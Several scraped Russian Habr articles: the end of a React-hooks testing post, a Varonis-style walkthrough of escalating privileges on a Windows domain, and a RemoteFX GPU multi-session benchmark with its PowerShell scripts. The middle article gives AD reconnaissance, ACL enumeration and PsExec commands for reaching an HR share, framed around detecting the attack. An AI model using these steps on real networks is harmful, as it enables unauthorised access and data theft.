Теперь осталось посчитать покрытие тестами для данных хуков, запустив Jest с опцией `--coverage`. Как правило, вы можете сделать это запустив NPM-скрипт с именем `test` в вашем `package.json`.
```
# npm
npm run test --coverage
# yarn
yarn test --coverage
```
Результат выглядит достойно:
Цель достигнута - мы получили 100%-е покрытие тестами, как и было задумано.
Заключение
----------
В данной статье я постарался продемонстрировать как писать собственные React-хуки на TypeScript, тестировать их и получить 100%-е покрытие. Как вы можете видеть, это не так уж сложно, как кажется на первый взгляд.
В следующих статьях данной серии будет рассмотрено еще несколько новых хуков с их тестированием.
Всем спасибо всем за внимание. | https://habr.com/ru/post/653431/ | null | ru | null |
# Использование PowerShell для повышения привилегий локальных учетных записей

Повышение привилегий — это использование злоумышленником текущих прав учетной записи для получения дополнительного, как правило, более высокого уровня доступа в системе. Несмотря на то что повышение привилегий может быть результатом эксплуатации уязвимостей нулевого дня, или работы первоклассных хакеров, проводящих целенаправленную атаку, или же грамотно замаскированной вредоносной программой, но все же чаще всего это происходит из-за неправильной настройки компьютера или учетной записи. Развивая атаку далее, злоумышленники используют ряд отдельных уязвимостей, что в совокупности может привести к катастрофической утечке данных.
Почему пользователи не должны иметь права локального администратора?
---------------------------------------------------------------------
Если вы специалист по безопасности, это может показаться очевидным, что пользователи не должны иметь права локального администратора, так как это:
* Делает их аккаунты более уязвимыми к различным атакам
* Делает эти самые атаки гораздо более серьезными
К сожалению, для многих организаций это до сих пор очень спорный вопрос и подчас сопровождается бурными дискуссиями (см. например, [мой руководитель говорит, что все пользователи должны быть локальными администраторами](https://old.reddit.com/r/sysadmin/comments/a7c5m9/boss_says_all_users_should_be_local_admins_on/)). Не углубляясь в детали этого обсуждения, мы считаем, что злоумышленник получил права локального администратора на исследуемой системе: либо через эксплойт, либо из-за того, что машины не были должным образом защищены.
Шаг 1. Обратное разрешение DNS имен через PowerShell
----------------------------------------------------
По-умолчанию PowerShell устанавливается на многих локальных рабочих станциях и на большинстве серверов Windows. И хотя не без преувеличения он считается невероятно полезным инструментом автоматизации и управления, в равной степени он способен превращаться в почти невидимую [fileless-малварь](https://www.varonis.com/blog/understanding-malware-free-hacking-part/) (программа для взлома, не оставляющая следов атаки).
В нашем случае злоумышленник начинает выполнять сетевую рекогносцировку с помощью сценария PowerShell, последовательно перебирая пространство IP-адресов сети, пытаясь определить, разрешается ли данный IP к узлу, и если да, то каково сетевое имя этого узла.
Существует множество способов выполнения этой задачи, но использование командлета [Get-](https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adcomputer?view=win10-ps)ADComputer — это надежный вариант, поскольку он возвращает действительно богатый набор данных о каждом узле:
```
import-module activedirectory Get-ADComputer -property * -filter { ipv4address -eq ‘10.10.10.10’}
```
Если скорость работы в больших сетях вызывает проблемы, то может использоваться обратный системный вызов DNS:
```
[System.Net.Dns]::GetHostEntry(‘10.10.10.10’).HostName
```

Этот метод перечисления узлов в сети очень популярен, так как большинство сетей не использует модель безопасности с нулевым доверием и не отслеживает внутренние DNS запросы на подозрительные всплески активности.
Шаг 2: Выбор цели
-----------------
Конечным результатом этого шага является получение списка имен хостов серверов и рабочих станций, который может быть использован для продолжения атаки.

Судя по имени, сервер 'HUB-FILER' кажется достойной целью, т.к. с течением времени файловые серверы, как правило, аккумулируют большое количество сетевых папок и избыточного доступа к ним слишком большого круга лиц.
Просмотр с помощью Проводника Windows позволяет нам определить наличие открытой общей папки, но наша текущая учетная запись не может получить к ней доступ (вероятно, у нас есть права только на листинг).
**Шаг 3: Изучаем ACL**
----------------------
Теперь на нашем хосте HUB-FILER и целевой общей папке share мы можем запустить сценарий PowerShell для получения списка ACL. Мы можем сделать это с локальной машины, так как у нас уже имеются права локального администратора:
```
(get-acl \\hub-filer\share).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags –auto
```
Результат выполнения:

Из него мы видим, что группа Пользователи Домена имеет доступ только на листинг, но вот группа Helpdesk имеет еще и права на изменение.
Шаг 4: Идентификация Учетных Записей
------------------------------------
Запустив [Get-ADGroupMember](https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adgroupmember?view=win10-ps), мы сможем получить всех членов этой группы:
```
Get-ADGroupMember -identity Helpdesk
```

В этом списке мы видим учетную запись компьютера, которую мы уже идентифицировали и к которой уже получили доступ:

Шаг 5: Используем PSExec для работы от учетной записи компьютера
----------------------------------------------------------------
[PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) от Microsoft Sysinternals позволяет выполнять команды в контексте системной учетной записи SYSTEM@HUB-SHAREPOINT, которая, как мы знаем, является членом целевой группы Helpdesk. То есть нам достаточно выполнить:
```
PsExec.exe -s -i cmd.exe
```
Ну а далее у вас есть полный доступ к целевой папке \\HUB-FILER\share\HR, поскольку вы работаете в контексте учетной записи компьютера HUB-SHAREPOINT. И с этим доступом данные могут быть скопированы на портативное устройство хранения или иным образом извлечены и переданы по сети.
Шаг 6: Обнаружение данной атаки
-------------------------------
Эта конкретная уязвимость настройки прав учетных записей (учетные записи компьютеров, обращающиеся к общим сетевым папкам вместо учетных записей пользователей или служебных учеток) может быть обнаружена. Однако без правильных инструментов сделать это очень сложно.
Чтобы обнаружить и предотвратить эту категорию атак, мы можем использовать [DatAdvantage](https://sites.varonis.com/ru/products/datadvantage/) для идентификации групп с компьютерными учетными записями в них, а затем закрыть к ним доступ. [DatAlert](https://sites.varonis.com/ru/products/datalert/) идет дальше и позволяет создать уведомление специально для подобного сценария.
На скриншоте ниже показано пользовательское уведомление, которое будет срабатывать при каждом доступе учетной записи компьютера к данным на отслеживаемом сервере.

Следующие шаги с помощью PowerShell
-----------------------------------
Хотите узнать больше? Используйте код разблокировки «blog» для бесплатного доступа к полному [видео-курсу PowerShell и Основы Active Directory](https://info.varonis.com/course/powershell?unlock_code=BLOG). | https://habr.com/ru/post/454160/ | null | ru | null |
# Производительность RemoteFX, часть 2
В [первой части исследования](https://habr.com/ru/company/cloud4y/blog/552034/) мы оценивали эффективность включения GPU-ускорения для RemoteFX в однопользовательском режиме. Это второй этап, в котором займёмся проверкой и оценкой производительности для нескольких одновременных терминальных сеансов, чтобы понять границы масштабируемости облачного сервера с выделенной видеокартой.
Содержание* Введение
* Конфигурация тестовой среды
* Методика тестирования
* Обработка данных
* Анализ результатов и наиболее интересные графики
+ Задержки обработки пользовательского ввода и нагрузка на процессор
+ Частота кадров
+ Использование оперативной памяти
+ Нагрузка на видеокарту
+ Общие сетевые метрики
* Заключение
* Приложения
+ Set-DataCollectors.ps1
+ Set-DataCollectors.cmd
+ Start-SyncedTest.ps1
+ Start-SyncedTest.cmd
+ helper.psm1
+ blg2csv.ps1
+ blg2csv.cmd
+ figures\_alt.ipynb
+ figures.ipynb
+ Диагностические счётчики
+ UDP трафик
+ TCP трафик
Утилизация ресурсов vCPU в режиме одного пользователя для первых двух тестов составляла в среднем 40-50%. Поэтому, предварительные замеры для двух и трёх сессий были выполнены без изменения конфигурации виртуального сервера. Однако оказалось, что узким местом масштабирования, в первую очередь, являются именно ресурсы vCPU и vRAM: общая нагрузка стала так высока, что монитору производительности перестало хватать ресурсов для фиксации показаний счётчиков и в замерах стали появляться значительные пробелы.
Поэтому конфигурация виртуальной машины была изменена: были добавлены ядра и оперативная память.
### Конфигурация тестовой среды
#### Сервер
* 2 -> 6 vCPU Intel(R) Xeon(R) CPU E5-2696 v4 @ 2.20GHz
* 8 -> 12 GB RAM
* GPU NVIDIA GRID M60-1Q, Dedicated Memory 929 MB, Shared Memory 4095 -> 6143 MB
* гостевая ОС Windows Server 2019 Standart x64 1809 (Version 10.0.17763.1577), DirectX 12
* network in/out rate limit 50 Mbps
Языком интерфейса по умолчанию был сделан английский: для решения "белых пятен" в замерах вместо сбора данных через PerfMon были попытки использовать командлет `Get-Counter` с Real Time приоритетом процесса. А русские названия счётчиков памяти усложняли эти попытки.
Дело в том, что когда вы определяете новый сборщик данных PerfMon через GUI, то видите псевдонимы счётчиков, которые зависят от языка интерфейса. Но фактически, при работе, используются "родные" английские имена. Это можно увидеть в xml файле, если сохранить сборщик как шаблон. Утилита `logman` тоже работает с английскими названиями.
Командлет `Get-Counter` работает именно с псевдонимами. То есть, от языка интерфейса зависит, какая из двух команд завершится ошибкой:
```
PS C:\> (Get-Counter -ListSet 'RemoteFX Network').paths
PS C:\> (Get-Counter -ListSet 'Сеть RemoteFX').paths
```
Принципиально такой подход не решил проблему, пробелы остались, хотя и в меньшем объёме. Но стало проще конфигурировать сбор данных в PerfMon / PowerShell, а, после разделения счётчиков на две группы, наконец-таки заработали счётчики оперативной памяти!
### Методика тестирования
Не претерпела существенных изменений. Проводились те же самые три теста:
* ввод текста + 3D BenchMark
* ввод текста + просмотр локальных видеофайлов
* ввод текста + просмотр youtube-ролика
Отличие от первой части заключалось в том, что серия тестов повторялась сначала для одной, затем для двух и для трёх одновременных терминальных сессий. А набор счётчиков из первой части был разделён на две группы:
Метрики* Общие метрики:
+ '\Memory\% Committed Bytes In Use'
+ '\Memory\Available Bytes'
+ '\Processor Information(\_Total)\% Processor Time'
+ '\NVIDIA GPU(\*)\% GPU Usage'
+ '\NVIDIA GPU(\*)\% GPU Memory Usage'
+ '\NVIDIA GPU(\*)\% FB Usage'
+ '\NVIDIA GPU(\*)\% Video Decoder Usage'
+ '\NVIDIA GPU(\*)\% Video Encoder Usage'
* Метрики сеансов:
+ '\User Input Delay per Session(#id)\Max Input Delay' # задержка в указанном сеансе
+ '\RemoteFX Network(RDP-Tcp#N)\Loss Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\Current TCP Bandwidth'
+ '\RemoteFX Network(RDP-Tcp#N)\Current UDP Bandwidth'
+ '\RemoteFX Network(RDP-Tcp#N)\Total Sent Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\TCP Sent Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\UDP Sent Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\Total Received Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\TCP Received Rate'
+ '\RemoteFX Network(RDP-Tcp#N)\UDP Received Rate'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Input Frames/Second'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Output Frames/Second'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Frame Quality'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Average Encoding Time'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Graphics Compression ratio'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Frames Skipped/Second - Insufficient Server Resources'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Frames Skipped/Second - Insufficient Network Resources'
+ '\RemoteFX Graphics(RDP-Tcp#N)\Frames Skipped/Second - Insufficient Client Resources'
Общие метрики не зависели от количества активных сеансов, счётчиков всегда было восемь в любом тесте для любого количества пользователей. А вот метрики сеаснов добавлялись для каждого пользователя отдельно, так как учитывали только свою терминальную сессию.
Чтобы не заниматься ручной перенастройкой PerfMon при входе очередного пользователя на терминальный сервер, были написаны скрипты, которые автоматически настраивали группы сборщиков данных в зависимости от текущих терминальных сессий.
Замеры и тесты тоже запускались скриптами - для удобства и синхронизации: пользователям достаточно было запустить сценарий и указать нужный тест, который стартовал в начале каждой новой минуты у всех одновременно. Спустя несколько секунд этот же скрипт в сессии администратора запускал сбор данных.
Большинство счётчиков сеанса использует номер терминального сеанса, а счётчик задержек - id. Поэтому, по окончании теста в журнал тестирования `matches.csv` записывались данные текущего теста: пользователи, id и номера сессий, имена файлов с замерами:
```
"test #3 WMPlayer users 3 general.blg","2021.02.09 12:00:12","administrator","rdp-tcp#8","2","+03"
"test #3 WMPlayer users 3 session.blg","2021.02.09 12:00:12","administrator","rdp-tcp#8","2","+03"
"test #3 WMPlayer users 3 general.blg","2021.02.09 12:00:12","2","rdp-tcp#12","3","+03"
"test #3 WMPlayer users 3 session.blg","2021.02.09 12:00:12","2","rdp-tcp#12","3","+03"
"test #3 WMPlayer users 3 general.blg","2021.02.09 12:00:12","3","rdp-tcp#66","4","+03"
"test #3 WMPlayer users 3 session.blg","2021.02.09 12:00:12","3","rdp-tcp#66","4","+03"
```
Такое журналирование процесса тестирования помогло на этапе обработки данных сопоставить пользователей с их счётчиками.
Исходный код скриптов доступен в приложении:
* (пере-)установка сборщиков данных в PerfMon — Set-DataCollectors.ps1 и Set-DataCollectors.cmd
* Одновременный запуск тестов и замеров — Start-SyncedTest.ps1 и Start-SyncedTest.cmd
* Вспомогательный код был вынесен в отдельный файл модуля PowerShell — helper.psm1
### Обработка данных
Скрипт конвертации двоичных файлов в формат csv из первой части также был модифицирован: теперь он учитывал наличие данных по нескольким сессиям и исправлял заголовки с помощью файла `matches.csv`.
* Исходный код скриптов обработки двоичных файлов с результатами замеров можно посмотреть в приложении — blg2csv.ps1 и blg2csv.cmd
Обработка данных и построение графиков, как и раньше, выполнена в `Jupiter`-блокнотах с помощью библиотек `pandas` и `matplotlib`.
Теперь на одну метрику приходилось уже девять графиков вместо трёх, поэтому, для наглядности, графики располагались на диаграмме двумя способами:
```
test2 test3 test4 1 user 2 users 3 users
------------------------- -------------------------
1 user | | | | test2 | | | |
------------------------- -------------------------
2 users | | | | test3 | | | |
------------------------- -------------------------
3 users | | | | test4 | | | |
------------------------- -------------------------
```
* Исходный код обоих блокнотов есть в приложении — figures.ipynb и figures\_alt.ipynb
### Анализ результатов и наиболее интересные графики
#### Задержки обработки пользовательского ввода и нагрузка на процессор
Пожалуй, один из самых важных, наряду с частотой кадров, показателей с точки зрения конечного пользователя. [Измеряет](https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/rds-rdsh-performance-counters) максимальную разницу между тем, когда ввод помещается в очередь и когда приложение получает его в традиционном цикле обработки сообщений.
Интересен он ещё тем, что в тесте '3D BenchMark' этот показатель получился аномально высоким: задержка измерялась **секундами** для двух одновременных сеансов и **десятками** секунд в случае трёх сеансов! В норме показатель измеряется в миллисекундах.
Диаграмма с таким расположением графиков приведена для лучшей демонстрации аномалии. Последующие диаграммы будут с другим расположением графиков, "тесты в ряд", для более наглядной демонстрации и сравнения изменений показателей при изменении количества сеансов.
Вот так те же самые данные будут выглядеть при таком расположении:
В официальной документации по диагностике проблем производительности есть [пример](https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/rds-rdsh-performance-counters#counters-used-in-an-overloaded-system), когда задержка ввода увеличивается из-за возрастающей нагрузки на процессор при подключении новых пользователей. В нашем случае это не объясняет увеличение задержки ввода на три-четыре порядка: счётчик загрузки процессора находится в пределах 60% и даже снизился в случае трёх сеансов. Другие метрики, в том числе и сетевые, тоже остались в норме.
А утилизация виртуального процессора оказалась выше.
#### Частота кадров
В 3D тесте частота кадров ожидаемо зависела от количества пользователей, запустивших бенчмарк.
Два других теста показали хорошую производительность для двух терминальных сессий, а в случае трёх сеансов уже не хватало производительности процессора.
В первой части исследования при проигрывании ролика ["Flying Through Forest 1"](https://www.videvo.net/video/flying-through-forest-1/4651/) мы видели провалы до 20-15 fps, но тогда виртуальная машина использовала только два ядра. После увеличения vCPU до 6 ядер показатель fps явно стал лучше для одного-двух сеансов и только для трёх сеансов он снова просел.
Youtube-тест также показывал отличные результаты, пока не подключился третий пользователь, что вызвало почти 100% нагрузку на процессор, а fps при этом просел на 10 кадров.
#### Использование оперативной памяти
Счётчики показали вполне ожидаемый результат: с ростом числа сеансов свободной памяти становилось меньше, а использовалась она чаще. В среднем, один тест "стоил" одному пользователю около 1 ГБ.
#### Нагрузка на видеокарту
Здесь также замеры не показали ничего необычного: самым тяжёлым для процессора/памяти видеокарты был 3D тест. Больше пользователей -> меньше кадров в секунду -> ниже использование фреймбуфера.
Видеотест. Первый ролик, ["Ants carrying dead spider"](https://www.videvo.net/video/ants-carrying-dead-spider/4752/), нагружал видеопроцессор, а третий, ["Low Angle Of Pedestrians Walking In Busy Street, Daytime"](https://www.videvo.net/video/low-angle-of-pedestrians-walking-in-busy-street,-daytime/464239/), декодер и, как следствие, видеопамять.
#### Общие сетевые метрики
Основную нагрузку при включении RemoteFX составляет UDP трафик, а по TCP передаются, например, нажатия клавиатуры. Соответственно, TCP-трафик на несколько порядков меньше, колеблется в пределах от сотен до тысяч бит в секунду.
Здесь приведены общие счётчики, графики в разрезе протоколов вынес в приложение. Помечены как UDP трафик и TCP трафик
Основные всплески в графиках вызывало проигрывание локального видеофайла ["Flying Through Forest 1"](https://www.videvo.net/video/flying-through-forest-1/4651/). Видимо, в эти моменты поток данных упирался в ограничение скорости канала связи со стороны сервера, 50 Мбит/с.
### Заключение
NVIDIA GRID M60 позиционируется [(1,](http://images.nvidia.com/content/grid/pdf/188270-NVIDIA-GRID-Datasheet-NV-US-FNL-Web.pdf) [2)](https://www.nvidia.com/content/dam/en-zz/Solutions/design-visualization/solutions/resources/documents1/nvidia-m60-datasheet.pdf) как производительное решение виртуализации рабочих мест, столов и приложений для дизайнеров, разработчиков, офисных и прочих сотрудников. Эту видеокарту можно использовать на 32 виртуальных машинах максимум, выделив по 512 МБ видеопамяти на каждую ВМ. В нашем случае профиль 'M60-1Q' был шире, на 1 ГБ.
Как показывают тесты, масштабирование виртуального сервера с этим видеопрофилем на несколько пользователей упирается, в первую очередь, в общие ресурсы виртуальной машины - vCPU и vRAM. Для оценки влияния именно количества пользователей на производительность, любой тест запускался у всех пользователей одновременно. Поэтому пики тестовой нагрузки складывались друг с другом и требовали больше ресурсов для комфортной работы: 2 ядра vCPU и 1 ГБ vRAM на пользователя. При таких настройках видеокарта "вытягивала" 2-3 одновременных сеанса, в зависимости от теста.
В реальности, конечно же, ресурсы подбирают исходя из конкретных задач, средней и максимальной нагрузки на сервер. Например, если основная часть работы пары десятков сотрудников носит "офисный" характер — документы, почта, браузер, 1С — вполне можно использовать один терминальный сервер с таким vGPU, подстраивая ресурсы ЦПУ и RAM по мере необходимости под число пользователей.
Если же речь идёт об обработке 3D графики, то вряд ли нагрузка на vGPU будет такая же постоянная и интенсивная, как в 3D тесте. Скорее всего, с учётом увеличения ресурсов по сравнению с "офисной" конфигурацией, этот видеопрофиль позволит нормально работать 3-5 пользователям. Впрочем, для действительно сложных 3D задач, виртуальный сервер можно отдать в монопольное использование одному сотруднику, масштабируясь по количеству серверов.
### Приложения
Set-DataCollectors.ps1
```
<#
.SYNOPSIS
Help to define PerfMon Data Collectors
Need manual launch if number of terminal sessions is changed
.DESCRIPTION
идея в следующем:
Сбором метрик занимается админ, при каждом новом входе
по RDP подключился админ (1 пользователь)
запустил этот скрипт вручную и для каждого из 5 тестов появился свой сборщик данных
админ запускает 1й..5й тесты (выборочно или все)
одновременно с тестом запускает соответствующий сборщик, который сохранит замеры в отдельный файл
таким образом на каждый тест будет свой файл с замерами
далее по RDP дополнительно подключается пользователь
админ перезапускает скрипт для обновления сборщиков, т.к. нужно делать замеры RemoteFX уже для 2х пользователей
админ запускает 1й..5й тесты
появляются ещё логи (замеры), но теперь уже для 2х сессий
далее по RDP дополнительно подключается ещё пользователь
...
в итоге будут замеры для каждого количества пользователей:
для админа (1 пользователь)
для 1 пользователя И админа
...
для 5 пользователей И админа
.NOTES
Author: Dmitry Mikhaylov aka alt-air
#>
$RootDir = '{0}' -f ($MyInvocation.MyCommand.Definition | Split-Path -Parent)
$LogsDir = '{0}' -f (Join-Path -Path $RootDir -ChildPath 'logs')
$LogFile = '{0}' -f (Join-Path -Path $LogsDir -ChildPath '{0}')
$cfgGeneral = '{0}' -f (Join-Path -Path $RootDir -ChildPath 'CountersGeneral.cfg')
$cfgSession = '{0}' -f (Join-Path -Path $RootDir -ChildPath 'CountersSession.cfg')
try # импорт вспомогательного модуля
{
Import-Module -Force (Join-Path -Path $RootDir -ChildPath 'helper.psm1' -Resolve)
}
catch
{
'failed import helper.psm1' | Write-Output
break
}
$TermSessions = @(Get-quser) # terminal sessions
#region остановка всех старых сборщиков данных
foreach ($Counter in Get-Logman)
{
if ($Counter.Status -match 'Running') { $null = logman stop $Counter.'Data Collector Set' 2>&1 }
# elseif ($Counter.Status -match 'Stopped') { $null = logman start $Counter.'Data Collector Set' 2>&1 } # для дебага команды logman
}
#endregion
#region удаление всех старых сборщиков данных
foreach ($Counter in Get-Logman)
{
if ($Counter.Status -match 'Stopped')
{
$null = logman delete $Counter.'Data Collector Set' 2>&1
}
}
#endregion
#region обновление конфига счётчиков
$CountersGeneral = @( # общие метрики, сразу для всех сеансов
# счётчики памяти работают, если они запущены в этом маленьком сборщике данных. При объединении в один сборщик они перестают фиксировать показания
'\Memory\% Committed Bytes In Use'
'\Memory\Available Bytes'
'\Processor Information(_Total)\% Processor Time'
'\NVIDIA GPU(*)\% GPU Usage'
'\NVIDIA GPU(*)\% GPU Memory Usage'
'\NVIDIA GPU(*)\% FB Usage'
'\NVIDIA GPU(*)\% Video Decoder Usage'
'\NVIDIA GPU(*)\% Video Encoder Usage'
)
$CountersSession = @( # метрики сеансов
'\User Input Delay per Session({1})\Max Input Delay' # задержка в указанном сеансе
# '\RemoteFX Network(RDP-Tcp {0})\*'
'\RemoteFX Network(RDP-Tcp {0})\Loss Rate'
'\RemoteFX Network(RDP-Tcp {0})\Current TCP Bandwidth'
'\RemoteFX Network(RDP-Tcp {0})\Current UDP Bandwidth'
'\RemoteFX Network(RDP-Tcp {0})\Total Sent Rate'
'\RemoteFX Network(RDP-Tcp {0})\TCP Sent Rate'
'\RemoteFX Network(RDP-Tcp {0})\UDP Sent Rate'
'\RemoteFX Network(RDP-Tcp {0})\Total Received Rate'
'\RemoteFX Network(RDP-Tcp {0})\TCP Received Rate'
'\RemoteFX Network(RDP-Tcp {0})\UDP Received Rate'
# '\RemoteFX Graphics(RDP-Tcp {0})\*'
'\RemoteFX Graphics(RDP-Tcp {0})\Input Frames/Second'
'\RemoteFX Graphics(RDP-Tcp {0})\Output Frames/Second'
'\RemoteFX Graphics(RDP-Tcp {0})\Frame Quality'
'\RemoteFX Graphics(RDP-Tcp {0})\Average Encoding Time'
'\RemoteFX Graphics(RDP-Tcp {0})\Graphics Compression ratio'
'\RemoteFX Graphics(RDP-Tcp {0})\Frames Skipped/Second - Insufficient Server Resources'
'\RemoteFX Graphics(RDP-Tcp {0})\Frames Skipped/Second - Insufficient Network Resources'
'\RemoteFX Graphics(RDP-Tcp {0})\Frames Skipped/Second - Insufficient Client Resources'
)
# общие счётчики в конфиг
$null | Out-File -FilePath $cfgGeneral
foreach ($c in $CountersGeneral)
{
$c | Out-File -FilePath $cfgGeneral -Append
}
# счётчики сеансов в конфиг
$null | Out-File -FilePath $cfgSession
foreach ($c in $CountersSession)
{
foreach ($s in $TermSessions)
{
$c -f $s.SESSIONNAME.Split('#')[1], $s.ID | Out-File -FilePath $cfgSession -Append
}
}
#endregion
#region добавление новых сборщиков, по одному на тест, в зависимости от количества терминальных сессий
# Counters.cfg
foreach ($t in $TestDefinitions.GetEnumerator()) # -ct
{
$CNGen = "{0} users {1} general" -f ($t.Key, $TermSessions.Length) # general data collector name
$null = logman create counter -n $CNGen -f bin -max 10 -si 00:00:01 -rf ('00:0{0}:00' -f $duration) --v -ow -cf $cfgGeneral -o ($LogFile -f $CNGen)
$CNSes = "{0} users {1} session" -f ($t.Key, $TermSessions.Length) # session data collector name
$null = logman create counter -n $CNSes -f bin -max 10 -si 00:00:01 -rf ('00:0{0}:00' -f $duration) --v -ow -cf $cfgSession -o ($LogFile -f $CNSes)
}
#endregion
```
Set-DataCollectors.cmd
```
@echo off
@REM смена кодировки нужна для powershell-скрипта "%~dpn0.ps1"
chcp 65001
@REM работаем в текущей папке скрипта
pushd "%~dp0"
@REM включаем расширения для переопределения переменных в цикле
setlocal EnableDelayedExpansion
@REM имена cmd и powershell скриптов должны совпадать
@REM powershell.exe -NoLogo -NoProfile -File "%~dpn0.ps1"
start "%~dpn0.ps1" /WAIT /B powershell.exe -Command "& {%~dpn0.ps1}"
@REM pause
```
Start-SyncedTest.ps1
```
<#
.SYNOPSIS
Let select the RemoteFX benchmark and launch it
.DESCRIPTION
Let select the RemoteFX benchmark and launch it
показать список тестов на выбор, после выбора теста
проверять, не запущен ли какой-либо тест
завершить все неактуальные процессы с тестами
каждые 3 минуты ровно в 00 секунд запустить выбранный тест
.NOTES
Author: Dmitry Mikhaylov aka alt-air
#>
[CmdletBinding()]
param (
$DelayValidation = 0, # magic number: delay before killing processes after validation running
$DelayLogman = 7, # magic number: delay before running notepad after running main test
$interval = 0, # waiting sync interval in minutes, batch file run it with '-interval 1'
[switch] $gui = $false
)
$RootDir = '{0}' -f ($MyInvocation.MyCommand.Definition | Split-Path -Parent)
$LogsDir = '{0}' -f (Join-Path -Path $RootDir -ChildPath 'logs')
$LogFile = '{0}' -f (Join-Path -Path $LogsDir -ChildPath 'match.csv')
try # импорт вспомогательного модуля
{
Import-Module -Force (Join-Path -Path $RootDir -ChildPath 'helper.psm1' -Resolve)
}
catch
{
'failed import helper.psm1' | Write-Output
break
}
#region select test and validation it through short running
try # select and check the test
{
if ($gui) { $t = $TestDefinitions | Out-GridView -Title 'Please, select RemoteFX test mode' -OutputMode Single }
else
{
$TestDefinitions.Keys | Write-Output
$key = @($TestDefinitions.Keys)[ ([int](Read-Host -Prompt 'select the test') <# - 1 #>) ]
$t = $TestDefinitions.GetEnumerator() | Where-Object { $_.key -eq $key } # иначе не работает нотация $t.Value.exe, только $t.Values
}
# $null = Start-Process -FilePath $t.Value.exe -ArgumentList $t.Value.param -WindowStyle Hidden # -WhatIf появился только в PowerShell 7
'debug message 1: {0} path to {1}' -f ((Test-Path -PathType Leaf -Path $t.Value.exe), $t.Value.exe) | Write-Warning
}
catch # something go wrong...
{
'no test selected or cannot run selected test {0}' -f $t.Key | Write-Output
break
}
finally # kill all possible old test processes
{
$null = Start-Sleep -Seconds $DelayValidation # magic number
if ($env:USERNAME -match $manager) # todo, bug here: need clear quser output to find current user is admin ('>')
{
# stop all data collectors
foreach ($Counter in Get-Logman ) { if ($Counter.Status -match 'Running') { $null = logman stop $Counter.'Data Collector Set' 2>&1 } }
$null = Clear-ProcessSpace
}
}
#endregion
Sync-Tests -test $t.Key -period $interval
#region running selected test
$np = $TestDefinitions.GetEnumerator() | Where-Object {$_.Key -eq 'test #1 notepad'}
if ($null -eq $np)
{
'debug message 2: cannot run notepad, $np is null{0}break...' -f "`n" | Write-Warning
break
}
$ProcNpad = Start-Process -FilePath $np.Value.exe -ArgumentList $np.Value.param -PassThru
$ProcNpad.PriorityClass = 'Normal' # Normal Idle High RealTime BelowNormal AboveNormal
$ProcTest = Start-Process -FilePath $t.Value.exe -ArgumentList $t.Value.param -PassThru
$ProcTest.PriorityClass = 'Normal'
$null = Start-Sleep -Seconds $DelayLogman # delay for switching to notepad BEFORE start data collecting
#endregion
#region manage test process IF ADMIN (collect data, stop processes, logging, etc)
if ($env:USERNAME -match $manager) # todo, bug here: need clear quser output to find current user is admin ('>')
{
# stop all previous data collectors
foreach ($Counter in Get-Logman )
{
if ($Counter.Status -match 'Running') { $null = logman stop $Counter.'Data Collector Set' 2>&1 }
}
# run selected test data collector
foreach ($Counter in Get-Logman | Where-Object { $_.'Data Collector Set' -match $t.Key})
{
if ($Counter.Status -match 'Stopped') { $null = logman start $Counter.'Data Collector Set' 2>&1 }
}
# logging matching between username, rpd session number and session id
$log = @()
$TermSessions = @(Get-quser)
foreach ($s in $TermSessions)
{
$log += New-Object psobject -Property @{
'date' = Get-Date -UFormat "%Y.%m.%d %H:%M:%S"
'UTC offset' = Get-Date -UFormat "%Z"
'file' = "{0} users {1} general.blg" -f ($t.Key, $TermSessions.Length) # $t.Key
'rdp user' = $s.USERNAME
'rdp session' = $s.SESSIONNAME
'rdp id' = $s.ID
}
$log += New-Object psobject -Property @{
'date' = Get-Date -UFormat "%Y.%m.%d %H:%M:%S"
'UTC offset' = Get-Date -UFormat "%Z"
'file' = "{0} users {1} session.blg" -f ($t.Key, $TermSessions.Length) # $t.Key
'rdp user' = $s.USERNAME
'rdp session' = $s.SESSIONNAME
'rdp id' = $s.ID
}
}
$log | Select-Object -Property `
'file',`
'date',`
'rdp user',`
'rdp session',`
'rdp id',`
'UTC offset'`
| Export-Csv -NoTypeInformation -Append -Force -Path $LogFile
# kill process after test completed
$WatchDog = [system.diagnostics.stopwatch]::startNew() # tick-tack, WatchDog timer
$durationS = $duration * 60 + 2
while ($WatchDog.Elapsed.TotalSeconds -lt $durationS)
{
Write-Progress -Activity ("{0}" -f $t.Key) -SecondsRemaining ($durationS - $WatchDog.Elapsed.TotalSeconds) -CurrentOperation "waiting test completition"
$null = Start-Sleep -Milliseconds 4987
}
# $ProcTest.Kill()
# $ProcNpad.Kill()
$null = Clear-ProcessSpace
}
#endregion
```
Start-SyncedTest.cmd
```
@echo off
@REM смена кодировки нужна для powershell-скрипта "%~dpn0.ps1"
chcp 65001
@REM работаем в текущей папке скрипта
pushd "%~dp0"
@REM включаем расширения для переопределения переменных в цикле
setlocal EnableDelayedExpansion
@REM имена cmd и powershell скриптов должны совпадать
@REM powershell.exe -File "%~dpn0.ps1"
start "%~dpn0.ps1" /WAIT /B powershell.exe -Command "& {%~dpn0.ps1 -interval 1 -gui:$false}"
@REM pause
```
helper.psm1
```
$duration = 2 # test duration
$manager = 'admin' # username, who can manage test process # production
# $manager = 'user' # username, who can manage test process # debug
$TestDefinitions = [ordered] @{ # схема тестов
# DEBUG ONLY
"test #0 DEBUG" = New-Object psobject -Property @{
"exe" = "${env:ProgramFiles(x86)}\Windows Media Player\wmplayer.exe"
"param" = @(<# "/Playlist", #> "$env:PUBLIC\Music\Playlists\mp4-qt-mp4.wpl", "/fullscreen")
}
"test #1 notepad" = New-Object psobject -Property @{
"exe" = "$env:SystemRoot\system32\notepad.exe"
"param" = @("/w")
}
